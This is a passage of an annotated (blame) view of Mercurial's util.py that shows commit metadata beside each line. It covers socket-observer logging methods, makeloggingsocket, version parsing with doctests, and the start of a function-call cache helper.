Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1022 return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1023
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
1024 if self.logdataapis:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1025 self.fh.write(
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1026 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1027 )
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
1028
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1029 self._writedata(buf[0:res])
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1030
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1031 def send(self, res, data, flags=0):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1032 if not self.writes:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1033 return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1034
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1035 self.fh.write(
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1036 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1037 )
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1038 self._writedata(data)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1039
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1040 def sendall(self, res, data, flags=0):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1041 if not self.writes:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1042 return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1043
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
1044 if self.logdataapis:
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
1045 # Returns None on success. So don't bother reporting return value.
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1046 self.fh.write(
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1047 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1048 )
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
1049
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1050 self._writedata(data)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1051
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1052 def sendto(self, res, data, flagsoraddress, address=None):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1053 if not self.writes:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1054 return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1055
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1056 if address:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1057 flags = flagsoraddress
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1058 else:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1059 flags = 0
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1060
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
1061 if self.logdataapis:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1062 self.fh.write(
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1063 b'%s> sendto(%d, %d, %r) -> %d'
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1064 % (self.name, len(data), flags, address, res)
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1065 )
37044
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37010
diff changeset
1066
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1067 self._writedata(data)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1068
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1069 def setblocking(self, res, flag):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1070 if not self.states:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1071 return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1072
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1073 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1074
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1075 def settimeout(self, res, value):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1076 if not self.states:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1077 return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1078
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1079 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1080
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1081 def gettimeout(self, res):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1082 if not self.states:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1083 return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1084
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1085 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1086
39060
ed8160e4fea0 util: fix signature of setsockopt in socket observer
Augie Fackler <augie@google.com>
parents: 38812
diff changeset
1087 def setsockopt(self, res, level, optname, value):
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1088 if not self.states:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1089 return
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1090
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1091 self.fh.write(
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1092 b'%s> setsockopt(%r, %r, %r) -> %r\n'
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1093 % (self.name, level, optname, value, res)
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1094 )
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1095
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1096
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1097 def makeloggingsocket(
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1098 logh,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1099 fh,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1100 name,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1101 reads=True,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1102 writes=True,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1103 states=True,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1104 logdata=False,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1105 logdataapis=True,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1106 ):
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1107 """Turn a socket into a logging socket."""
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1108
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1109 observer = socketobserver(
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1110 logh,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1111 name,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1112 reads=reads,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1113 writes=writes,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1114 states=states,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1115 logdata=logdata,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1116 logdataapis=logdataapis,
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1117 )
37010
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1118 return socketproxy(fh, observer)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36991
diff changeset
1119
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1120
7632
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
1121 def version():
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
1122 """Return version information if available."""
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
1123 try:
27358
ac839ee45b6a util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27357
diff changeset
1124 from . import __version__
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1125
7632
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
1126 return __version__.version
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
1127 except ImportError:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1128 return b'unknown'
7632
9626819b2e3d refactor version code
Matt Mackall <mpm@selenic.com>
parents: 7559
diff changeset
1129
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1130
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1131 def versiontuple(v=None, n=4):
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1132 """Parses a Mercurial version string into an N-tuple.
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1133
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1134 The version string to be parsed is specified with the ``v`` argument.
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1135 If it isn't defined, the current Mercurial version string will be parsed.
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1136
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1137 ``n`` can be 2, 3, or 4. Here is how some version strings map to
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1138 returned values:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1139
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
1140 >>> v = b'3.6.1+190-df9b73d2d444'
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1141 >>> versiontuple(v, 2)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1142 (3, 6)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1143 >>> versiontuple(v, 3)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1144 (3, 6, 1)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1145 >>> versiontuple(v, 4)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1146 (3, 6, 1, '190-df9b73d2d444')
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1147
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
1148 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1149 (3, 6, 1, '190-df9b73d2d444+20151118')
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1150
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
1151 >>> v = b'3.6'
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1152 >>> versiontuple(v, 2)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1153 (3, 6)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1154 >>> versiontuple(v, 3)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1155 (3, 6, None)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1156 >>> versiontuple(v, 4)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1157 (3, 6, None, None)
29613
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
1158
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
1159 >>> v = b'3.9-rc'
29613
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
1160 >>> versiontuple(v, 2)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
1161 (3, 9)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
1162 >>> versiontuple(v, 3)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
1163 (3, 9, None)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
1164 >>> versiontuple(v, 4)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
1165 (3, 9, None, 'rc')
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
1166
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
1167 >>> v = b'3.9-rc+2-02a8fea4289b'
29613
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
1168 >>> versiontuple(v, 2)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
1169 (3, 9)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
1170 >>> versiontuple(v, 3)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
1171 (3, 9, None)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
1172 >>> versiontuple(v, 4)
616cbcb59e05 util: better handle '-' in version string (issue5302)
Gregory Szorc <gregory.szorc@gmail.com>
parents: 29592
diff changeset
1173 (3, 9, None, 'rc+2-02a8fea4289b')
37801
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1174
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1175 >>> versiontuple(b'4.6rc0')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1176 (4, 6, None, 'rc0')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1177 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1178 (4, 6, None, 'rc0+12-425d55e54f98')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1179 >>> versiontuple(b'.1.2.3')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1180 (None, None, None, '.1.2.3')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1181 >>> versiontuple(b'12.34..5')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1182 (12, 34, None, '..5')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1183 >>> versiontuple(b'1.2.3.4.5.6')
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1184 (1, 2, 3, '.4.5.6')
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1185 """
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1186 if not v:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1187 v = version()
44021
6d3b67a837a6 cleanup: drop redundant character escapes from `[]` character sets
Matt Harbison <matt_harbison@yahoo.com>
parents: 44018
diff changeset
1188 m = remod.match(br'(\d+(?:\.\d+){,2})[+-]?(.*)', v)
37801
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1189 if not m:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1190 vparts, extra = b'', v
37801
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1191 elif m.group(2):
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1192 vparts, extra = m.groups()
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1193 else:
37801
5cab6f5016fa version: make parser more robust for rc variants and ill-formed strings
Yuya Nishihara <yuya@tcha.org>
parents: 37675
diff changeset
1194 vparts, extra = m.group(1), None
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1195
43882
a21a6dad4b38 typing: add an assertion to util.versiontuple
Matt Harbison <matt_harbison@yahoo.com>
parents: 43881
diff changeset
1196 assert vparts is not None # help pytype
a21a6dad4b38 typing: add an assertion to util.versiontuple
Matt Harbison <matt_harbison@yahoo.com>
parents: 43881
diff changeset
1197
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1198 vints = []
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
1199 for i in vparts.split(b'.'):
27112
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1200 try:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1201 vints.append(int(i))
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1202 except ValueError:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1203 break
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1204 # (3, 6) -> (3, 6, None)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1205 while len(vints) < 3:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1206 vints.append(None)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1207
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1208 if n == 2:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1209 return (vints[0], vints[1])
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1210 if n == 3:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1211 return (vints[0], vints[1], vints[2])
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1212 if n == 4:
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1213 return (vints[0], vints[1], vints[2], extra)
39c14e89b881 util: add versiontuple() for returning parsed version information
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27066
diff changeset
1214
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1215
3145
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1216 def cachefunc(func):
e4ea47c21480 Add cachefunc to abstract function call cache
Brendan Cully <brendan@kublai.com>
parents: 3131
diff changeset
1217 '''cache the result of function calls'''
3147
97420a49188d add comments in cachefunc
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 3145
diff changeset
1218 # XXX doesn't handle keywords args
28832
f5ff10f6fa6b util: use __code__ (available since py2.6)
timeless <timeless@mozdev.org>
parents: 28826
diff changeset
1219 if func.__code__.co_argcount == 0:
43880
eff050dbb703 util: rename a variable to avoid confusing pytype
Matt Harbison <matt_harbison@yahoo.com>
parents: 43879
diff changeset
1220 listcache = []
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1221
20835
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 20679
diff changeset
1222 def f():
43880
eff050dbb703 util: rename a variable to avoid confusing pytype
Matt Harbison <matt_harbison@yahoo.com>
parents: 43879
diff changeset
1223 if len(listcache) == 0:
eff050dbb703 util: rename a variable to avoid confusing pytype
Matt Harbison <matt_harbison@yahoo.com>
parents: 43879
diff changeset
1224 listcache.append(func())
eff050dbb703 util: rename a variable to avoid confusing pytype
Matt Harbison <matt_harbison@yahoo.com>
parents: 43879
diff changeset
1225 return listcache[0]
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
1226
20835
0e8417131a29 util: add the code path to "cachefunc()" for the function taking no arguments
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 20679
diff changeset
1227 return f
3145
e4ea47c21480 Add cachefunc to abstract function call cache
